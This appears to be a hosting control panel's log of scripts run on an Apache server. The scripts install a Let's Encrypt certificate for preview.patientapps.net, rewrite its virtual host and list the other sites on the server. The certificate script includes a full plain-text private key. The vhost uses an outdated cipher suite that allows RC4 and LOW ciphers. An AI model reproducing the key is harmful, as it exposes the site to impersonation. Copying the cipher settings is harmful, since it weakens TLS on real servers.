MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-06 12:45:05: Establishing a connection
2026-01-06 12:45:05: Establishing a connection
2026-01-06 12:45:05:
PUT: /tmp/pkp607239
#!/bin/bash
if [ -d "/var/www/patientapps_preview/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-06 12:45:05:
chmod 755 /tmp/pkp607239; /tmp/pkp607239; rm /tmp/pkp607239
2026-01-06 12:45:05:
0
2026-01-06 12:45:34: Establishing a connection
2026-01-06 12:45:34:
PUT: /tmp/pkp521066
#!/bin/bash
temp_file=$(mktemp)
TARGET=47e838c5d6fc754b55478008ec934de1.crt
cat > $temp_file <<'endmsg'
70:a1:7b:d4:cf:4e:0f:47:af:c3:f2:6f:3f:15:73:d2
-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBVn7HrnYNmiD7xM1evu4P/y8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA2MTE0NzAxWhcNMjYwNDA2MTE0NzAwWjAiMSAwHgYDVQQD
ExdwcmV2aWV3LnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBANWFZKYOpyV0mN9UsbxVpAnnyb28+KdguOhoJij1Qzg4PpGPjbDe
Z7jFxKC3+OpOlfgjo0acH7yyTT9wGaPu5cDQArDK/xlkvME24aEfRACIDK7vrMiM
oUdDaDfeLNGRUV8KRsGrtleoGgeOhlxL5JImbzXh5r6kU/hqOTMHk4E6CJYJPKCJ
hIwbxJ/+7u/Rb5AgGi3SEoyXCikWpp0b8Lnmz4fxRbjksSmnhUhJ/HtYd329R8cQ
ol8TnwUSwfNcZ33yduPjkYXcbfOGFgVN2c2CSpdMHla4BuaZmhCIwfJTpqGxHQrT
qGTqV8anxX8Re9ayQbjppdTL3PADSxzguA0CAwEAAaOCAi4wggIqMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUYiX6pPL0Al+Qd7vHy2vnHO+pAwcwHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdwcmV2aWV3LnBh
dGllbnRhcHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzYxLmNybDCCAQsGCisGAQQB1nkC
BAIEgfwEgfkA9wB9AKXJeJJdV0YXgocN2IlmC1xVZIt9AEDy7AdoUdGIaRn3AAAB
m5NXUTYACAAABQAuCEkTBAMARjBEAiA01wNIw/FqunvLtbk50FMfptP6cOVTaE64
suOjfDAJ0AIgPayJkOAsxrj2qyXD1+A/nsvtLeUIfk+phFkuURsWCvAAdgCWl2S/
VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZuTV1k+AAAEAwBHMEUCIFT8
3oKcxq7yyXCCGXw7ieaQD+Cqrd6sOybu858/FVd6AiEAlU0nbOSOmzr6LjQhcd0U
3tk3qdxFQTVYLr9oxftWFAkwDQYJKoZIhvcNAQELBQADggEBABawLeAX4Uc4hnq5
qYr38OiSps+ne2a8hqJyR+fSYJ9g7az8omx1Y+LxGRDXam3k2fY7YqDYl+EXi0TJ
4AZCYrs0ULzy5HGIqwlPnS37pSNGL/vJVB+/HdRscBuEWZUmK7X23Ss8XhKUXODE
p4uOd2V/hGWTXDy7kwt+Q3Swqr7eks/uQKN3QBeFSwKJrhrOiEubztCAMGw1vkMJ
zqc0OrYZx0iyB4+vWuD97r84cflxLT94mdNcFeyUdr2NAwJ/yg8ST5ljWzGE91Wn
lGY1r5sHATqzfiKzS1Smta1ZC5Ijyf5J+BsVKiQYDNxGNrNpzB713caRkfRNDwVu
gotpn+0=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDVhWSmDqcldJjf
VLG8VaQJ58m9vPinYLjoaCYo9UM4OD6Rj42w3me4xcSgt/jqTpX4I6NGnB+8sk0/
cBmj7uXA0AKwyv8ZZLzBNuGhH0QAiAyu76zIjKFHQ2g33izRkVFfCkbBq7ZXqBoH
joZcS+SSJm814ea+pFP4ajkzB5OBOgiWCTygiYSMG8Sf/u7v0W+QIBot0hKMlwop
FqadG/C55s+H8UW45LEpp4VISfx7WHd9vUfHEKJfE58FEsHzXGd98nbj45GF3G3z
hhYFTdnNgkqXTB5WuAbmmZoQiMHyU6ahsR0K06hk6lfGp8V/EXvWskG46aXUy9zw
A0sc4LgNAgMBAAECggEAKyGfg7XJCNVlPhPXNWKdWMzkITpHhlQQ9g13y+VDV1tx
NCkp55T9ocL9ZbPUCcynGbFlPZGzDYR8+zgTTdynt4utR3YyEriZMnR6Hnh43Zyd
50aOAhL6TzFsH4D3T7wJkme6hEvB8TIJVAZz2LgR633tEBbabB84wSD//fFlWAB5
Cab7BoGYJbx/mps7bF1/ZIBf8WRuDxi4ZtzuPccTW5aXTbExizIkd00+P0hKWuq7
3UoG2uhBx2EHilkyUs2xvC5ihG5PyRv9UU12w6R1HPl/oQVz6u7/+UHWb6xL3eXg
LndR9X1JFNKO4MFzRiBD6YI/cbBYQ60hlmNvMmPn1wKBgQD0BqUhVvo/yAGSARI4
RbzO/0JSjmCG0pRJoVseNyhJoCqiqNtV4UfV+cG1oQIrSDw221ec7Pb1cB2N2gAo
PsIPWOSXrGP7pRLG0mSKkK0dwmNxFOCrM4pDLSCfwrY5sJqjI+ouF9Wjme2Vn7lQ
7/FSVtgG/4HV1lVp1L3mzh52zwKBgQDf/47ePS5p4Mbu8nJYUwZGFedGjJx54KbD
cFtRHiyjSbFx7hKE7Vgx9KmrowQQwhSqrlSb4FWgwgFQOvap/Nj8zmj3nVo9kKhE
m9KAUyQAoo9uSEyWldeglU4rnVCD+rhiNarY2Z3fAVolKfORy8Rz/fMPSJ+XrsPa
So+CzmxaYwKBgCCsbxnKspEtr4AkIpNkSwaQSQoSxDvpIC/HqhKeogdRqcPDxjJ2
io7M9THjkA3Jiz5xGgcJ93sfeuWOZez9kjBJ37mrPGvqS1xRuWKQQo20hGoUuIxT
x1R9S1v4zztkOSBU47suN83DA3vAOijrJ621sREmzvSZ0S/ta0vnF08jAoGBALWA
7tNF4AYLDScxbVYEcGD5/p078s8PKhHTSStBuAnX/ODEeF0dtQlFpvZc8T5jBTwI
Zqan8LqCeW35WUYEjA7NcmCyMB0SykZNvRQeSl35Wx+Rlf2vDTohwWW14zgOQLnT
osx0CWhaQCE9DRBmfJlAfWM1BZxzEGAhaogjm8jhAoGAXlC1fIZcGHFxUn75Za3P
6TciJwVq1viyiQFh0C9Nd4GNfCkh9RxR2ZWlG8fZcdY1KTAH/2gmeJ31o+Dcu1RV
KdkDvuUmr9nVLEUQTP4NE5WjG9WupGpzXyHMfyFRo9RXLBsFAUbOPJQEP+otSeys
5oFovD5Q7OaRK9U8lrjefNE=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2026-01-06 12:45:35:
chmod 755 /tmp/pkp521066; /tmp/pkp521066; rm /tmp/pkp521066
2026-01-06 12:45:35:
dir=/etc/ssl/certs
2026-01-06 12:45:35:
PUT: /tmp/pkp161882
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_preview_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2026-01-06 12:45:35:
chmod 755 /tmp/pkp161882; /tmp/pkp161882; rm /tmp/pkp161882
2026-01-06 12:45:35:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_preview_net.conf 47
<VirtualHost *:80>
ServerName preview.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_preview/public
# DocumentRoot /var/www/patientapps_preview
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/preview_access.log combined
ErrorLog /var/log/apache2/patientapps/preview_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName preview.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/preview_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/preview_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-06 12:45:35:
PUT: /tmp/pkp773461
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_preview_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_preview_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName preview.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_preview/public
# DocumentRoot /var/www/patientapps_preview
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/preview_access.log combined
ErrorLog /var/log/apache2/patientapps/preview_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName preview.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/preview_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/preview_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_preview_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_preview_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_preview_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_preview_net.conf= 1'
fi
2026-01-06 12:45:35:
chmod 755 /tmp/pkp773461; /tmp/pkp773461; rm /tmp/pkp773461
2026-01-06 12:45:35:
2026-01-06 12:45:35:
PUT: /tmp/pkp894879
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2026-01-06 12:45:35:
chmod 755 /tmp/pkp894879; /tmp/pkp894879; rm /tmp/pkp894879
2026-01-06 12:45:35:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-06 12:45:35: Establishing a connection
2026-01-06 12:45:35:
PUT: /tmp/pkp462012
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-06 12:45:35:
chmod 755 /tmp/pkp462012; /tmp/pkp462012; rm /tmp/pkp462012
2026-01-06 12:45:36:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
